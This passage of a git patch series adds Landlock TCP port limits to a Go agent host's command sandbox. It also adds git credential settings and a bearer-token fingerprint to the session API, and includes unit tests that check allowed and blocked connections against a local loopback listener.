ok bool) { + if !f.limitsPorts() { + return 0, true + } + if abi < netConnectABI { + return 0, false + } + return unix.LANDLOCK_ACCESS_NET_CONNECT_TCP, true +} + +// landlockRuleNetPort is the rule type that names one TCP port +// (LANDLOCK_RULE_NET_PORT); golang.org/x/sys has the path rule only. +const landlockRuleNetPort = 2 + +// landlockNetPortAttr is struct landlock_net_port_attr. +type landlockNetPortAttr struct { + Allowed_access uint64 + Port uint64 +} + +// allowPorts lets the ruleset's commands connect to each port in the list. +func allowPorts(ruleset int, ports []int) error { + for _, port := range ports { + rule := landlockNetPortAttr{Allowed_access: unix.LANDLOCK_ACCESS_NET_CONNECT_TCP, Port: uint64(port)} + _, _, errno := unix.Syscall6(unix.SYS_LANDLOCK_ADD_RULE, uintptr(ruleset), + landlockRuleNetPort, uintptr(unsafe.Pointer(&rule)), 0, 0, 0) + if err := errnoErr(errno); err != nil { + return errors.New("allow port " + strconv.Itoa(port) + ": " + err.Error()) + } + } + return nil +} + // fenceLandlockRules reads anywhere and writes only where the fence says. func fenceLandlockRules(f *Fence) error { abi := landlockABI() @@ -281,11 +331,20 @@ func fenceLandlockRules(f *Fence) error { if !ok { return ErrFenceRequired } - fd, err := createRuleset(readAccess|write, scoped) + net, ok := fenceNet(f, abi) + if !ok { + return ErrFenceRequired + } + fd, err := createRulesetNet(readAccess|write, net, scoped) if err != nil { return err } defer unix.Close(fd) + if net != 0 { + if err := allowPorts(fd, f.ConnectPorts); err != nil { + return err + } + } rules := map[string]uint64{"/": readAccess, "/dev": readAccess | write, f.Root: readAccess | write, f.Tmp: readAccess | write, f.Cache: readAccess | write} if !fenceSharesTmp(f) { @@ -331,11 +390,20 @@ func fenceLandlockOnly(f *Fence) error { if !ok { return ErrFenceRequired } - fd, err := createRuleset(readAccess|write, scoped) + net, ok := fenceNet(f, abi) + if !ok { + return ErrFenceRequired + } + fd, err := createRulesetNet(readAccess|write, net, scoped) if err != nil { return err } defer unix.Close(fd) + if net != 0 { + if err := allowPorts(fd, f.ConnectPorts); err != nil { + return err + } + } rules := map[string]uint64{"/": unix.LANDLOCK_ACCESS_FS_READ_DIR} add := func(p string, access uint64) { rules[p] |= access } for _, p := range f.ReadGrants { diff --git a/internal/executor/fence_ports_linux_test.go b/internal/executor/fence_ports_linux_test.go new file mode 100644 index 0000000000..8338f09f86 --- /dev/null +++ b/internal/executor/fence_ports_linux_test.go @@ -0,0 +1,180 @@ +//go:build linux + +package executor + +import ( + "context" + "encoding/json" + "net" + "os" + "strconv" + "strings" + "testing" + + "golang.org/x/sys/unix" +) + +// The contract, in the words of a person whose chat shares a private network +// with the organization's other services: +// +// P1-0c a command in my chat cannot connect to a service on a TCP port the +// operator did not allow, and the refusal says so in one plain +// sentence; a port the operator allowed works as it always did. Where +// the kernel cannot keep a chat to a list of ports the chat's commands +// are refused rather than run with the whole network. A fence nobody +// required, or one with no list, keeps the network it always had, and +// what is handed to the helper is unchanged. + +func TestP1_0c_ParseConnectPorts(t *testing.T) { + got, err := ParseConnectPorts("443, 80,22 9418,80,\n8080") + if err != nil || len(got) != 5 || got[0] != 22 || got[1] != 80 || got[2] != 443 || got[3] != 8080 || got[4] != 9418 { + t.Fatalf("a list as an operator writes it: %v, %v", got, err) + } + if got, err := ParseConnectPorts(""); err != nil || len(got) != 0 { + t.Fatalf("empty text is an empty list: %v, %v", got, err) + } + for _, bad := range []string{"0", "65536", "-1", "http", "443;80", "0443", "1.5", "443,,x"} { + if _, err := ParseConnectPorts(bad); err == nil { + t.Errorf("%q was accepted", bad) + } + } + long := make([]string, MaxConnectPorts+1) + for i := range long { + long[i] = strconv.Itoa(1000 + i) + } + if _, err := ParseConnectPorts(strings.Join(long, ",")); err == nil { + t.Fatal("a list longer than a person could read was accepted") + } +} + +func TestP1_0c_OnlyARequiredFenceWithAListLimitsPorts(t *testing.T) { + for _, tc := range []struct { + name string + fence Fence + abi int + wantHandled uint64 + wantOK bool + }{ + {"a laptop's fence keeps the network", Fence{ConnectPorts: []int{443}}, 7, 0, true}, + {"a required fence with no list keeps the network", Fence{Require: true}, 7, 0, true}, + {"a required fence with no list on an old kernel is unchanged", Fence{Require: true}, 3, 0, true}, + {"a required fence with a list limits connects", Fence{Require: true, ConnectPorts: []int{443}}, 4, unix.LANDLOCK_ACCESS_NET_CONNECT_TCP, true}, + {"and on every later version", Fence{Require: true, ConnectPorts: []int{443}}, 7, unix.LANDLOCK_ACCESS_NET_CONNECT_TCP, true}, + {"a required fence with a list is refused where the kernel cannot", Fence{Require: true, ConnectPorts: []int{443}}, 3, 0, false}, + {"and where there is no Landlock at all", Fence{Require: true, ConnectPorts: []int{443}}, 0, 0, false}, + } { + t.Run(tc.name, func(t *testing.T) { + handled, ok := fenceNet(&tc.fence, tc.abi) + if handled != tc.wantHandled || ok != tc.wantOK { + t.Fatalf("handled %#x ok %v, want %#x %v", handled, ok, tc.wantHandled, tc.wantOK) + } + }) + } +} + +func TestP1_0c_SpecIsUnchangedWithoutAList(t *testing.T) { + raw, err := json.Marshal(fenceSpec{Fence: Fence{Root: "/r", Require: true}, Mode: fenceFull}) + if err != nil || strings.Contains(string(raw), "ConnectPorts") { + t.Fatalf("a fence with no list changed the helper's spec: %s, %v", raw, err) + } + raw, _ = json.Marshal(fenceSpec{Fence: Fence{Root: "/r", Require: true, ConnectPorts: []int{443}}, Mode: fenceFull}) + if !strings.Contains(string(raw), `"ConnectPorts":[443]`) { + t.Fatalf("a list did not reach the helper: %s", raw) + } +} + +func TestP1_0c_RefusalIsOnePlainSentence(t *testing.T) { + for _, word := range []string{"uid", "sandbox", "sessionhost", "fence", "landlock", "daemon", "bearer", "token", "proxy"} { + if strings.Contains(strings.ToLower(FenceConnectLine), word) { + t.Errorf("the refusal says %q, which a person reading a chat should never meet: %q", word, FenceConnectLine) + } + } + out := WithFenceLine("curl: (7) Failed to connect: Permission denied") + if !strings.HasSuffix(out, FenceLine) { + t.Fatalf("a fence with no list explains a refusal as it always did: %q", out) + } + if got := (&Fence{Require: true, ConnectPorts: []int{443}}).noteLine(); got != FenceConnectLine { + t.Fatalf("a chat with a port list is told %q", got) + } + if got := (&Fence{Require: true}).noteLine(); got != FenceLine { + t.Fatalf("a chat with no list is told %q", got) + } +} + +// listenLoopback answers a loopback TCP listener that accepts and closes. +func listenLoopback(t *testing.T) int { + t.Helper() + l, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Skipf("no loopback listener: %v", err) + } + t.Cleanup(func() { l.Close() }) + go func() { + for { + c, err := l.Accept() + if err != nil { + return + } + c.Close() + } + }() + return l.Addr().(*net.TCPAddr).Port +} + +// TestP1_0c_CommandsReachOnlyTheAllowedPorts is the contract on the real +// kernel: one command through the fenced seat connects to an allowed port and +// to a port nobody allowed, and only the first gets through. +func TestP1_0c_CommandsReachOnlyTheAllowedPorts(t *testing.T) { + if landlockABI() < netConnectABI { + t.Skip("this kernel cannot limit TCP connects by port (needs Landlock ABI 4)") + } + if _, err := os.Stat("/bin/bash"); err != nil { + t.Skip("no bash to open a TCP connection with") + } + if fenceLimit() == FenceDegradedLine { + t.Skip("this system cannot apply any of the fence") + } + allowed, blocked := listenLoopback(t), listenLoopback(t) + w := newFenceWorld(t, FenceAllow{}) + w.fence.Require = true + w.fence.ConnectPorts = []int{allowed} + runner := FencedSeat(w.fence).In(w.root) + connect := func(port int) (ExecResult, error) { + return runner.Exec(context.Background(), ExecRequest{ + Argv: []string{"/bin/bash", "-c", "exec 3<>/dev/tcp/127.0.0.1/" + strconv.Itoa(port) + " && echo connected"}, + Env: append(os.Environ(), "HOME="+w.home), + }, nil) + } + res, err := connect(allowed) + if err != nil || res.Exit != 0 || !strings.Contains(string(res.Stdout), "connected") { + t.Fatalf("a port the operator allowed was refused: err %v exit %d stdout %q stderr %q", err, res.Exit, res.Stdout, res.Stderr) + } + res, err = connect(blocked) + if err != nil || res.Exit == 0 || strings.Contains(string(res.Stdout), "connected") { + t.Fatalf("a port nobody allowed was reached: err %v exit %d stdout %q stderr %q", err, res.Exit, res.Stdout, res.Stderr) + } + if !strings.Contains(string(res.Stderr), FenceConnectLine) { + t.Fatalf("the refusal was not explained in the one plain sentence: %q", res.Stderr) + } +} + +// TestP1_0c_NoListKeepsTheWholeNetwork is the other half of the contract: the +// same required fence with no list reaches every port, as it always did. +func TestP1_0c_NoListKeepsTheWholeNetwork(t *testing.T) { + if _, err := os.Stat("/bin/bash"); err != nil { + t.Skip("no bash to open a TCP connection with") + } + if fenceLimit() == FenceDegradedLine { + t.Skip("this system cannot apply any of the fence") + } + port := listenLoopback(t) + w := newFenceWorld(t, FenceAllow{}) + w.fence.Require = true + res, err := FencedSeat(w.fence).In(w.root).Exec(context.Background(), ExecRequest{ + Argv: []string{"/bin/bash", "-c", "exec 3<>/dev/tcp/127.0.0.1/" + strconv.Itoa(port) + " && echo connected"}, + Env: append(os.Environ(), "HOME="+w.home), + }, nil) + if err != nil || res.Exit != 0 || !strings.Contains(string(res.Stdout), "connected") { + t.Fatalf("a required fence with no list lost the network: err %v exit %d stderr %q", err, res.Exit, res.Stderr) + } +} diff --git a/internal/executor/jail_linux.go b/internal/executor/jail_linux.go index 61b3367bd6..0fe69d01ce 100644 --- a/internal/executor/jail_linux.go +++ b/internal/executor/jail_linux.go @@ -192,7 +192,13 @@ func applyLandlock(enabled bool, root string) error { // createRuleset makes a Landlock ruleset that handles the given file accesses and, // when scoped is not zero, the given scopes (kernels from Landlock ABI 6 on). func createRuleset(handled, scoped uint64) (int, error) { - attr := unix.LandlockRulesetAttr{Access_fs: handled, Scoped: scoped} + return createRulesetNet(handled, 0, scoped) +} + +// createRulesetNet is [createRuleset] that also handles the given network +// access (0 handles none, which is what a ruleset has always done). +func createRulesetNet(handled, net, scoped uint64) (int, error) { + attr := unix.LandlockRulesetAttr{Access_fs: handled, Access_net: net, Scoped: scoped} fd, _, errno := unix.Syscall(unix.SYS_LANDLOCK_CREATE_RULESET, uintptr(unsafe.Pointer(&attr)), unsafe.Sizeof(attr), 0) return int(fd), errnoErr(errno) diff --git a/internal/executor/local.go b/internal/executor/local.go index b6dd77cf7f..9a0e386f33 100644 --- a/internal/executor/local.go +++ b/internal/executor/local.go @@ -112,7 +112,7 @@ func withFenceNote(res ExecResult, req ExecRequest, onOutput func(Chunk)) ExecRe if !FenceRefused(res.Stderr) && !FenceRefused(res.Stdout) { return res } - line := []byte("\n" + FenceLine + "\n") + line := []byte("\n" + req.Fence.noteLine() + "\n") if req.Combined { if !req.Stream { res.Stdout = append(res.Stdout, line...) From 83c08257a2bac83fd9cef9b2e2391f835c634847 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 07:09:15 -0500 Subject: [PATCH 047/176] sessionhost: git settings and the bearer fingerprint in the API, the exact REQUIRE=uid setting in refusals, and the connect-port list The host accepts the git address and hosts with a chat's credentials and hands them to the engine as two names, reports the first sixteen hex characters of the model bearer it holds so the org server can tell when it must push again, spells CODEAF_SESSIONHOST_REQUIRE=uid exactly in both refusals that offer it (item 0b), and writes CODEAF_FENCE_CONNECT_PORTS for a required fence from CODEAF_SESSIONHOST_CONNECT_PORTS plus the organization's own model-door port (item 0c; default 22, 80, 443, 9418; "none" keeps only the organization's). Co-Authored-By: Claude Sonnet 5.5 --- internal/sessionhost/api.go | 50 +++++++- internal/sessionhost/api_test.go | 139 ++++++++++++++++++++++- internal/sessionhost/config.go | 41 +++++++ internal/sessionhost/launcher_linux.go | 63 ++++++++++ internal/sessionhost/ports_linux_test.go | 88 ++++++++++++++ internal/sessionhost/probe.go | 13 ++- 6 files changed, 385 insertions(+), 9 deletions(-) create mode 100644 internal/sessionhost/ports_linux_test.go diff --git a/internal/sessionhost/api.go b/internal/sessionhost/api.go index 7ee5a1ecb4..cc5f2f1c6a 100644 --- a/internal/sessionhost/api.go +++ b/internal/sessionhost/api.go @@ -5,6 +5,7 @@ package sessionhost import ( "crypto/sha256" "crypto/subtle" + "encoding/hex" "encoding/json" "errors" "fmt" @@ -62,16 +63,46 @@ var refusalText = [...]string{ const warningUID = "This server keeps your chat apart from other people's, but does not limit what its commands can reach." +// Create and credential updates accept an optional git address and its +// allowed origins. These values are held in memory with the model settings. type credentials struct { - ModelURL string `json:"model_url"` - ModelToken string `json:"model_token"` + ModelURL string `json:"model_url"` + ModelToken string `json:"model_token"` + GitURL string `json:"git_url,omitempty"` + GitHosts []string `json:"git_hosts,omitempty"` } func (c credentials) valid() bool { u, err := url.Parse(c.ModelURL) - return err == nil && (u.Scheme == "http" || u.Scheme == "https") && - u.Hostname() != "" && u.User == nil && c.ModelToken != "" && - !strings.ContainsRune(c.ModelToken, 0) + if err != nil || (u.Scheme != "http" && u.Scheme != "https") || + u.Hostname() == "" || u.User != nil || c.ModelToken == "" || strings.ContainsRune(c.ModelToken, 0) { + return false + } + if c.GitURL != "" { + git, ok := credentialGitURL(c.GitURL) + if !ok || strings.HasSuffix(git.Path, "/") { + return false + } + } + if len(c.GitHosts) > 16 { + return false + } + for _, origin := range c.GitHosts { + if len(origin) > 200 || strings.Contains(origin, ",") { + return false + } + git, ok := credentialGitURL(origin) + if !ok || git.Path != "" { + return false + } + } + return true +} + +func credentialGitURL(raw string) (*url.URL, bool) { + u, err := url.Parse(raw) + return u, err == nil && (u.Scheme == "http" || u.Scheme == "https") && + u.Hostname() != "" && u.User == nil && u.RawQuery == "" && !u.ForceQuery && !strings.Contains(raw, "#") } type createdChat struct { @@ -84,6 +115,9 @@ type createdChat struct { type chatStatus struct { createdChat LastActive time.Time `json:"last_active"` + // The fingerprint lets the organization verify its issued credential + // is current without this host ever sending back the credential itself. + ModelBearer string `json:"model_bearer"` } func (s *supervisor) status(row sessionRow, live processTable) chatStatus { @@ -91,9 +125,15 @@ func (s *supervisor) status(row sessionRow, live processTable) chatStatus { if !row.Missing && len(live[row.UID]) > 0 { state = "running" } + fingerprint := "" + if token := s.creds[row.ID].ModelToken; token != "" { + sum := sha256.Sum256([]byte(token)) + fingerprint = hex.EncodeToString(sum[:8]) + } return chatStatus{ createdChat: createdChat{ID: row.ID, State: state, Created: row.Created, Warning: s.warning()}, LastActive: row.LastActive, + ModelBearer: fingerprint, } } diff --git a/internal/sessionhost/api_test.go b/internal/sessionhost/api_test.go index cc569302bd..1df24ce7be 100644 --- a/internal/sessionhost/api_test.go +++ b/internal/sessionhost/api_test.go @@ -4,6 +4,8 @@ package sessionhost import ( "bytes" + "crypto/sha256" + "encoding/hex" "encoding/json" "errors" "io" @@ -245,6 +247,8 @@ func TestC3_EngineEnvironmentIsExactlyTheAllowList(t *testing.T) { "CODEAF_TELEMETRY": "off", "DO_NOT_TRACK": "1", "CODEAF_NO_UPDATE_CHECK": "1", "CODEAF_BASE_URL": creds.ModelURL, "OPENAI_API_KEY": creds.ModelToken, "CODEAF_ENGINE_IDLE": "30m0s", "CODEAF_FENCE_REQUIRE": "1", "CODEAF_MODEL": "example-model", + // P1 item 0c adds exactly this one name: the ports a chat's commands may connect to. + "CODEAF_FENCE_CONNECT_PORTS": "22,80,443,9418", } env := launcher.environment(t) got := make(map[string]string) @@ -390,7 +394,7 @@ func TestC2_FencedModeNeedsAKernelThatScopesAbstractSockets(t *testing.T) { return Report{Require: require, UIDSwitch: SwitchReport{OK: true}, Landlock: LandlockReport{Available: abi > 0, ABI: abi}} } if got := report(5, modeFenced).decide(); got.OK || got.Mode != modeRefused || - got.Reason != "command restrictions cannot keep one chat's local sockets from another's on this kernel" { + !strings.Contains(got.Reason, "CODEAF_SESSIONHOST_REQUIRE=uid") || !strings.Contains(got.Reason, "Linux 6.12") { t.Fatalf("an old kernel passed or was unexplained: %+v", got) } if got := report(6, modeFenced).decide(); !got.OK || got.Mode != modeFenced { @@ -400,3 +404,136 @@ func TestC2_FencedModeNeedsAKernelThatScopesAbstractSockets(t *testing.T) { t.Fatalf("the operator's explicit process-only choice was refused: %+v", got) } } + +func TestP1_6_ModelBearerFingerprintOnRows(t *testing.T) { + s, _, _ := testSupervisor(t, testConfig(t), healthyReport()) + create := createChat(t, s, "alice", chatA) + if strings.Contains(create.Body.String(), "model_bearer") { + t.Fatalf("create response changed: %s", create.Body) + } + check := func(token string) { + t.Helper() + sum := sha256.Sum256([]byte(token)) + want := hex.EncodeToString(sum[:8]) + if token == "" { + want = "" + } + checkRow := func(raw []byte) { + t.Helper() + var row map[string]json.RawMessage + if err := json.Unmarshal(raw, &row); err != nil || string(row["model_bearer"]) != `"`+want+`"` { + t.Fatalf("model_bearer = %s, want %q: %v", row["model_bearer"], want, err) + } + } + w := request(s, "GET", "/v1/sessions/"+chatA, s.cfg.Secret, "alice", "") + if w.Code != 200 { + t.Fatalf("get: %d %s", w.Code, w.Body) + } + checkRow(w.Body.Bytes()) + w = request(s, "GET", "/v1/sessions", s.cfg.Secret, "alice", "") + var list struct{ Sessions []json.RawMessage } + if w.Code != 200 || json.Unmarshal(w.Body.Bytes(), &list) != nil || len(list.Sessions) != 1 { + t.Fatalf("list: %d %s", w.Code, w.Body) + } + checkRow(list.Sessions[0]) + } + check("made-up-model-bearer") + putTestCredentials(t, s, "updated-model-token") + check("updated-model-token") + if w := request(s, "POST", "/v1/sessions/"+chatA+"/stop", s.cfg.Secret, "alice", ""); w.Code != 204 { + t.Fatalf("stop: %d %s", w.Code, w.Body) + } + check("") +} + +func TestP1_6_GitSettingsReachTheEngineWithoutOtherChanges(t *testing.T) { + cfg := testConfig(t) + cfg.Model = "example-model" + // The connect-port list has its own test (item 0c); here it is off so this one + // proves the git settings add exactly their two names and change nothing else. + cfg.LimitPorts = false + launcher := newWireTestLauncher() + s := newTestSupervisor(t, cfg, healthyReport(), launcher, &fakeProcesses{live: make(processTable)}) + const model = `"model_url":"http://model.test/v1","model_token":"made-up-model-bearer"` + const git = `"git_url":"https://org.test/v1/hosted/git","git_hosts":["https://github.com","http://git.test:8891"]` + w := request(s, "POST", "/v1/sessions", cfg.Secret, "alice", `{"id":"`+chatA+`",`+model+`,`+git+`}`) + if w.Code != 201 { + t.Fatalf("create: %d %s", w.Code, w.Body) + } + const updated = `"git_url":"http://org.test/v1/hosted/git","git_hosts":["http://updated.test:8891"]` + w = request(s, "PUT", "/v1/sessions/"+chatA+"/credentials", cfg.Secret, "alice", `{`+model+`,`+updated+`}`) + if w.Code != 204 { + t.Fatalf("credentials: %d %s", w.Code, w.Body) + } + + folders, err := layoutFor(cfg.Data, "alice", chatA) + if err != nil { + t.Fatal(err) + } + original := []string{ + "PATH=/usr/local/bin:/usr/bin:/bin", "LANG=C.UTF-8", "CODEAF_TELEMETRY=off", "DO_NOT_TRACK=1", + "HOME=" + folders.home(), "CODEAF_HOME=" + folders.home(), "TMPDIR=" + folders.tmp(), + "CODEAF_NO_UPDATE_CHECK=1", "CODEAF_BASE_URL=http://model.test/v1", "OPENAI_API_KEY=made-up-model-bearer", + "CODEAF_ENGINE_IDLE=30m0s", "CODEAF_FENCE_REQUIRE=1", "CODEAF_MODEL=example-model", + } + creds := credentials{ModelURL: "http://model.test/v1", ModelToken: "made-up-model-bearer"} + if got := engineEnv(cfg, folders, creds); !reflect.DeepEqual(got, original) { + t.Fatalf("default engine environment changed: %v", got) + } + conn := dialTestWire(t, s) + defer conn.CloseNow() + want := append(original, "CODEAF_HOSTED_GIT_URL=http://org.test/v1/hosted/git", "CODEAF_HOSTED_GIT_HOSTS=http://updated.test:8891") + if got := launcher.environment(t); !reflect.DeepEqual(got, want) { + t.Fatalf("engine environment = %v, want %v", got, want) + } +} + +func TestP1_6_InvalidGitSettingsRefuseTheWholeCredentialsBody(t *testing.T) { + s, _, _ := testSupervisor(t, testConfig(t), healthyReport()) + const model = `"model_url":"http://model.test/v1","model_token":"fake"` + for _, optional := range []string{ + `"git_url":"git://org.test/v1/hosted/git"`, + `"git_url":"http:///v1/hosted/git"`, + `"git_url":"https://user@org.test/v1/hosted/git"`, + `"git_url":"https://org.test/v1/hosted/git/"`, + `"git_url":"https://org.test/v1/hosted/git?x=1"`, + `"git_hosts":["ftp://git.test"]`, + `"git_hosts":["http://:8891"]`, + `"git_hosts":["https://user@git.test"]`, + `"git_hosts":["https://git.test/path"]`, + `"git_hosts":["https://git.test?"]`, + `"git_hosts":["https://git.test#fragment"]`, + `"git_hosts":["https://git.test","https://` + strings.Repeat("x", 193) + `"]`, + `"git_hosts":[` + strings.Repeat(`"https://git.test",`, 16) + `"https://git.test"]`, + } { + w := request(s, "POST", "/v1/sessions", s.cfg.Secret, "alice", `{"id":"`+chatA+`",`+model+`,`+optional+`}`) + if w.Code != 400 { + t.Errorf("create with %s: %d %s", optional, w.Code, w.Body) + } + } + createChat(t, s, "alice", chatB) + w := request(s, "PUT", "/v1/sessions/"+chatB+"/credentials", s.cfg.Secret, "alice", + `{`+model+`,"git_hosts":["https://git.test/path"]}`) + if w.Code != 400 { + t.Fatalf("update with invalid Git origin: %d %s", w.Code, w.Body) + } +} + +// P1-0b: on a kernel older than 6.12, and on one with no Landlock at all, the +// default stays closed and the operator is told the exact setting that accepts +// the gap; typing it starts chats in the process-only mode. +func TestP1_0b_RefusalsNameTheSettingExactly(t *testing.T) { + for name, landlock := range map[string]LandlockReport{ + "kernel 6.8 (ABI 4)": {Available: true, ABI: 4}, + "no landlock": {}, + } { + refused := Report{Require: modeFenced, UIDSwitch: SwitchReport{OK: true}, Landlock: landlock}.decide() + if refused.OK || refused.Mode != modeRefused || !strings.Contains(refused.Reason, "CODEAF_SESSIONHOST_REQUIRE=uid") { + t.Errorf("%s: default did not refuse with the setting named: %+v", name, refused) + } + accepted := Report{Require: modeUID, UIDSwitch: SwitchReport{OK: true}, Landlock: landlock}.decide() + if !accepted.OK || accepted.Mode != modeUID { + t.Errorf("%s: the named setting did not start chats: %+v", name, accepted) + } + } +} diff --git a/internal/sessionhost/config.go b/internal/sessionhost/config.go index fa2594732d..d2f222436b 100644 --- a/internal/sessionhost/config.go +++ b/internal/sessionhost/config.go @@ -3,8 +3,11 @@ package sessionhost import ( "fmt" "strconv" + "strings" "time" "unicode/utf8" + + "github.com/Agent-Field/codeaf/internal/executor" ) const ( @@ -30,8 +33,24 @@ type Config struct { Model string ForceProbe string Engine string + // LimitPorts says a chat's commands may connect only to ConnectPorts and to + // the ports of the organization's own addresses (the model door and git, + // which a chat's credentials name). It is set by ConfigFromEnv and left + // false by a test that builds a Config by hand, which keeps the engine's + // environment exactly what it was before the limit existed. It has no + // effect in the process-only mode (REQUIRE=uid), where no command is fenced. + LimitPorts bool + ConnectPorts []int } +// DefaultConnectPorts are the TCP ports a chat's commands may reach unless the +// operator says otherwise: HTTPS and HTTP for packages and web pages, SSH and +// the git protocol for repositories. Landlock limits connections by port and +// not by address, so this keeps a chat off the other services of the machine's +// private network (an agent's API, a model stub) and not off a hostile service +// that happens to listen on one of these. +const DefaultConnectPorts = "443,80,22,9418" + // ConfigFromEnv reads the supervisor's own settings without sourcing a profile. func ConfigFromEnv(getenv func(string) string) (Config, error) { value := func(name, fallback string) string { @@ -83,9 +102,31 @@ func ConfigFromEnv(getenv func(string) string) (Config, error) { if cfg.Require != modeFenced && cfg.Require != modeUID { return Config{}, fmt.Errorf("CODEAF_SESSIONHOST_REQUIRE must be uid+fence or uid") } + ports, err := connectPortsSetting(value("CONNECT_PORTS", DefaultConnectPorts)) + if err != nil { + return Config{}, err + } + cfg.LimitPorts, cfg.ConnectPorts = true, ports return cfg, nil } +// connectPortsSetting reads CODEAF_SESSIONHOST_CONNECT_PORTS: a list of TCP +// ports, or the word none for the organization's own ports alone. The error +// names the setting and the entry at fault. +func connectPortsSetting(text string) ([]int, error) { + if strings.EqualFold(strings.TrimSpace(text), "none") { + return nil, nil + } + ports, err := executor.ParseConnectPorts(text) + if err != nil || len(ports) == 0 { + if err == nil { + err = fmt.Errorf("it names no port") + } + return nil, fmt.Errorf("CODEAF_SESSIONHOST_CONNECT_PORTS must be a list of TCP ports such as %s, or none: %v", DefaultConnectPorts, err) + } + return ports, nil +} + func validUIDRange(base, count int) bool { return base >= minSessionUID && int64(base) < maxSessionUID && count >= 1 && int64(count) <= maxSessionUID-int64(base) diff --git a/internal/sessionhost/launcher_linux.go b/internal/sessionhost/launcher_linux.go index 6d01d5835a..4363c0640d 100644 --- a/internal/sessionhost/launcher_linux.go +++ b/internal/sessionhost/launcher_linux.go @@ -5,10 +5,13 @@ package sessionhost import ( "context" "io" + "net/url" "os" "os/exec" "path/filepath" + "sort" "strconv" + "strings" "time" ) @@ -56,10 +59,16 @@ func engineEnv(cfg Config, folders layout, creds credentials) []string { ) if cfg.Require == modeFenced { env = append(env, "CODEAF_FENCE_REQUIRE=1") + if cfg.LimitPorts { + env = append(env, "CODEAF_FENCE_CONNECT_PORTS="+portList(connectPorts(cfg, creds))) + } } if cfg.Model != "" { env = append(env, "CODEAF_MODEL="+cfg.Model) } + if creds.GitURL != "" { + env = append(env, "CODEAF_HOSTED_GIT_URL="+creds.GitURL, "CODEAF_HOSTED_GIT_HOSTS="+strings.Join(creds.GitHosts, ",")) + } return env } @@ -148,3 +157,57 @@ func (r *stderrRing) text() string { } return string(r.data[r.next:]) + string(r.data[:r.next]) } + +// connectPorts is every port a chat's commands may connect to: the operator's +// list and the port of each organization address the chat's credentials name +// (its model door and its git address, which are one server, possibly on a +// port of its own). Without those a chat could not clone or push through the +// organization, so they are never the operator's to forget. +func connectPorts(cfg Config, creds credentials) []int { + ports := append([]int(nil), cfg.ConnectPorts...) + for _, raw := range []string{creds.ModelURL, creds.GitURL} { + if port := urlPort(raw); port > 0 { + ports = append(ports, port) + } + } + sort.Ints(ports) + out := ports[:0] + for i, p := range ports { + if i == 0 || p != ports[i-1] { + out = append(out, p) + } + } + return out +} + +// urlPort is the TCP port an http or https address connects to, 0 when it is +// neither or names no host. +func urlPort(raw string) int { + u, err := url.Parse(raw) + if err != nil || u.Hostname() == "" { + return 0 + } + if p := u.Port(); p != "" { + n, err := strconv.Atoi(p) + if err != nil || n < 1 || n > 65535 { + return 0 + } + return n + } + switch u.Scheme { + case "http": + return 80 + case "https": + return 443 + } + return 0 +} + +// portList is ports as the comma list the engine reads. +func portList(ports []int) string { + words := make([]string, len(ports)) + for i, p := range ports { + words[i] = strconv.Itoa(p) + } + return strings.Join(words, ",") +} diff --git a/internal/sessionhost/ports_linux_test.go b/internal/sessionhost/ports_linux_test.go new file mode 100644 index 0000000000..c2eb80cd7d --- /dev/null +++ b/internal/sessionhost/ports_linux_test.go @@ -0,0 +1,88 @@ +//go:build linux + +package sessionhost + +import ( + "strings" + "testing" +) + +// The contract (P1-0c), in the words of the operator: a chat's commands may +// connect only to the ports I allow (a short default, or my own list) and to +// the organization's own door; an entry I mistype stops the server from +// starting, with the setting named; and where no command is fenced there is +// no list to apply. + +func configWith(t *testing.T, ports string) (Config, error) { + t.Helper() + return ConfigFromEnv(func(name string) string { + switch name { + case "CODEAF_SESSIONHOST_SECRET": + return strings.Repeat("S", 32) + case "CODEAF_SESSIONHOST_CONNECT_PORTS": + return ports + } + return "" + }) +} + +func TestP1_0c_DefaultListAndTheOperatorsOwn(t *testing.T) { + cfg, err := configWith(t, "") + if err != nil || !cfg.LimitPorts || portList(cfg.ConnectPorts) != "22,80,443,9418" { + t.Fatalf("default: %+v, %v", cfg, err) + } + cfg, err = configWith(t, "443, 8443") + if err != nil || portList(cfg.ConnectPorts) != "443,8443" { + t.Fatalf("operator list: %+v, %v", cfg, err) + } + cfg, err = configWith(t, "none") + if err != nil || !cfg.LimitPorts || len(cfg.ConnectPorts) != 0 { + t.Fatalf("none keeps the organization's own ports alone: %+v, %v", cfg, err) + } + for _, bad := range []string{"https", "443,99999", "0", "443;80"} { + _, err := configWith(t, bad) + if err == nil || !strings.Contains(err.Error(), "CODEAF_SESSIONHOST_CONNECT_PORTS") || strings.Contains(err.Error(), strings.Repeat("S", 32)) { + t.Errorf("%q: %v", bad, err) + } + } +} + +func TestP1_0c_EngineGetsTheListAndTheOrganizationsPorts(t *testing.T) { + cfg := testConfig(t) + folders, err := layoutFor(cfg.Data, "alice", chatA) + if err != nil { + t.Fatal(err) + } + cfg.LimitPorts, cfg.ConnectPorts = false, nil + creds := credentials{ModelURL: "http://org.test:8080/v1/model", ModelToken: "t", + GitURL: "http://org.test:8080/v1/hosted/git", GitHosts: []string{"https://github.com"}} + has := func(env []string) (string, bool) { + for _, kv := range env { + if v, ok := strings.CutPrefix(kv, "CODEAF_FENCE_CONNECT_PORTS="); ok { + return v, true + } + } + return "", false + } + if _, ok := has(engineEnv(cfg, folders, creds)); ok { + t.Fatal("a supervisor with no list wrote one into the engine's environment") + } + cfg.LimitPorts, cfg.ConnectPorts = true, []int{443, 80, 22, 9418} + got, ok := has(engineEnv(cfg, folders, creds)) + if !ok || got != "22,80,443,8080,9418" { + t.Fatalf("ports = %q, %v", got, ok) + } + creds.ModelURL, creds.GitURL = "https://org.test/v1/model", "" + if got, _ := has(engineEnv(cfg, folders, creds)); got != "22,80,443,9418" { + t.Fatalf("an organization on 443 adds nothing new: %q", got) + } + cfg.ConnectPorts = nil + creds.ModelURL = "http://org.test:8080/v1/model" + if got, _ := has(engineEnv(cfg, folders, creds)); got != "8080" { + t.Fatalf("none leaves the organization's own door: %q", got) + } + cfg.Require = modeUID + if _, ok := has(engineEnv(cfg, folders, creds)); ok { + t.Fatal("process-only isolation fences no command, so there is no list to write") + } +} diff --git a/internal/sessionhost/probe.go b/internal/sessionhost/probe.go index f64533987a..0eef0df5fc 100644 --- a/internal/sessionhost/probe.go +++ b/internal/sessionhost/probe.go @@ -6,6 +6,11 @@ package sessionhost // sockets (Linux 6.12); internal/executor refuses a required fence below it too. const abstractScopeABI = 6 +// requireUIDSetting is the exact operator setting that accepts process-only +// isolation. 